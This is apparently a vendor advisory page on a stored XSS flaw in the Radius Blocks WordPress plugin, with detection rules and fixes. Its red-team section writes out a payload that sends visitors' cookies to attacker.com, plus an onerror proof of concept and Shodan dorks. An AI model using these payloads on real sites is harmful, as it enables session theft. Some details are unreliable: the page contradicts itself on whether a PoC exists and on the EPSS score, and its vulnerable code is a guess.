☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5844

CVE-2025-5844 Cross-Site Scripting in Radius blocks
📅 PUBLISHED: 2025-08-15 08:25 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5844 is a Stored Cross-Site Scripting (XSS) vulnerability in the Radius Blocks WordPress plugin, affecting all versions up to and including 2.2.1. The flaw resides in the subHeadingTagName parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Radius Blocks plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not running version 2.2.1 or earlier. No patch has been released by the vendor. As a supply chain risk, any site using this plugin is exposed until a fix is applied.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires Contributor-level access
  • User Interaction: None (UI:N)
  • Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the immediate threat surface. However, once exploited, the XSS can affect all users, including administrators, making it a significant vector for privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress plugin. The subHeadingTagName parameter is used to define the HTML tag for subheadings (e.g., <h2>, <h3>). The plugin fails to properly sanitize this input and does not escape it on output. An attacker with Contributor-level access can craft a payload like:

<script>alert('XSS')</script>

When the block is rendered on a page, the script executes in the context of the visitor's browser. Because the input is stored in the database, the attack persists until the content is removed or patched.

Root Cause: Insufficient input validation and lack of output escaping in the render function of the Radius Blocks plugin.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (radius-blocks/includes/class-block.php)
$subheading_tag = $attributes['subHeadingTagName'];
echo '<' . $subheading_tag . ' class="subheading">' . $content . '</' . $subheading_tag . '>';

A patched version would sanitize the tag name against a whitelist of allowed HTML tags and escape the output:

// Patched code
$allowed_tags = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div', 'span');
$subheading_tag = in_array($attributes['subHeadingTagName'], $allowed_tags) ? $attributes['subHeadingTagName'] : 'h2';
echo '<' . esc_attr($subheading_tag) . ' class="subheading">' . esc_html($content) . '</' . esc_attr($subheading_tag) . '>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Radius Blocks plugin <= 2.2.1
  • Authenticated user with Contributor role or higher

Steps:

  1. Log in as a Contributor.
  2. Create a new post or page.
  3. Add a Radius Blocks block (e.g., a heading block).
  4. In the block settings, set the subHeadingTagName parameter to a malicious payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><"
    
  5. Publish the post.
  6. When an administrator or any user views the post, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

<!-- Inject this as subHeadingTagName value -->
"><img src=x onerror=alert(1)>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual subHeadingTagName values in WordPress database (wp_postmeta table).
  • Look for posts created by Contributor-level users containing script tags in meta fields.

Hardening:

  • Disable the Radius Blocks plugin until a patch is available.
  • Restrict Contributor-level access to trusted users only.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in subHeadingTagName.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/radius-blocks/radius-blocks.php (version <= 2.2.1)
  • Database Entry: wp_postmeta rows with meta_key containing subHeadingTagName and meta_value containing <script> or onerror attributes.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress debug logs showing unexpected HTML tags in block attributes.

Detection Engineering

YARA Rule

rule CVE_2025_5844_Radius_Blocks_XSS {
    meta:
        description = "Detects Radius Blocks plugin files with vulnerable subHeadingTagName handling"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5844"
    strings:
        $vuln_func = "subHeadingTagName" nocase
        $unsafe_echo = "echo '<'" nocase
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2025-5844 - Stored XSS via Radius Blocks subHeadingTagName
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Radius Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "subHeadingTagName"
        meta_value|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5844 - Stored XSS in Radius Blocks subHeadingTagName"; flow:to_server,established; content:"subHeadingTagName"; http_client_body; pcre:"/<script|onerror|onload/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Audit all posts created by Contributor-level users for malicious content.
  3. Change all user passwords if compromise is suspected.

Long-term Fix:

  • The vendor must release a patched version that sanitizes and escapes the subHeadingTagName parameter.
  • Implement a whitelist of allowed HTML tags (e.g., h1-h6, p, div, span).

Workaround:

  • Use a security plugin (e.g., Wordfence) to block XSS payloads.
  • Restrict Contributor role capabilities via a plugin like User Role Editor.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/radius-blocks"
http.html:"radius-blocks" "wp-json"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5844/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.